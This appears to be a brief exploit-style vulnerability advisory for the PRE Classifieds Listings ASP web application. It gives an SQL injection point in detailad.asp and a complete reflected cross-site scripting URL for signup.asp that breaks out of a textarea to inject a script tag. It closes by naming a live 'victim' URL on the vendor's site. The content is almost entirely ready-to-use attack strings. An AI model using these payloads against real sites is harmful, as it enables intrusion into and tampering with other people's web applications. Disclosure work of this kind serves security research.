PRE Classifieds Listings SQL,XSS

#########################################################
---------------------------------------------------------
Portal Name: PRE Classifieds Listings
Vendor : http://www.preproject.com/
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (SQL,XSS)
---------------------------------------------------------
#########################################################
[SQL]:
http://site.com/[Path]/home/detailad.asp?siteid=[SQL]


[XSS]:
http://site.com/[Path]/home/signup.asp?full_name=pouya.s3rver@gmail.com&email=111-222-1933email@address.tst&pass=111-222-1933email@address.tst&address=</textarea><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&phone=111-222-1933email@address.com&state=0&hide_email=on&url_add=111-222-1933email@address.tst&Submit=SignUp&addit=start


---------------------------------

Victem :
http://preproject.com/pclasp/